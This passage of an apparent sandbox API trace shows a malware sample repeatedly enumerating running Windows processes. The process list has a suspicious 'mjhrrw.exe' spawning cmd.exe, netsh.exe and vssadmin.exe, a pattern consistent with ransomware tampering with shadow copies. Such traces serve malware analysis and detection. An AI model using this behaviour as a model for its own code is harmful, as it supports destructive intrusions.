szExeFile="fontdrvhost.exe")) returned 1 [0288.992] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.993] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.993] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0288.994] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.995] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.995] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.996] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.997] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.997] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.998] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.999] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.999] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.000] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.001] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0289.001] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.002] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0289.003] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0289.004] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0289.004] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0289.005] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0289.006] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.006] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0289.007] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0289.008] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0289.008] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0289.009] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0289.010] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0289.011] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0289.011] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0289.012] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0289.013] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.014] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0289.280] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0289.613] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0289.614] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0289.614] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0289.615] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0289.615] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0289.616] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.616] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0289.617] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0289.617] Process32NextW (in: hSnapshot=0x2dc, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0289.618] CloseHandle (hObject=0x2dc) returned 1 [0289.618] Sleep (dwMilliseconds=0x1f4) [0290.653] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0290.666] Process32FirstW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.666] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0290.667] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0290.667] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.668] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0290.668] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.669] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0290.669] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0290.670] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0290.670] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.671] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.671] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.672] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.672] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0290.673] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.673] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.674] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.674] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.674] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.675] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.676] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.676] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.677] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.677] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.678] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0290.678] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.679] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0290.680] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0290.680] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0290.681] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0290.682] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0290.683] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.683] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0290.684] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0290.685] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0290.686] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0290.686] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0290.687] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0290.687] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0290.688] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0290.689] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0290.689] Process32NextW (in: hSnapshot=0x300, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 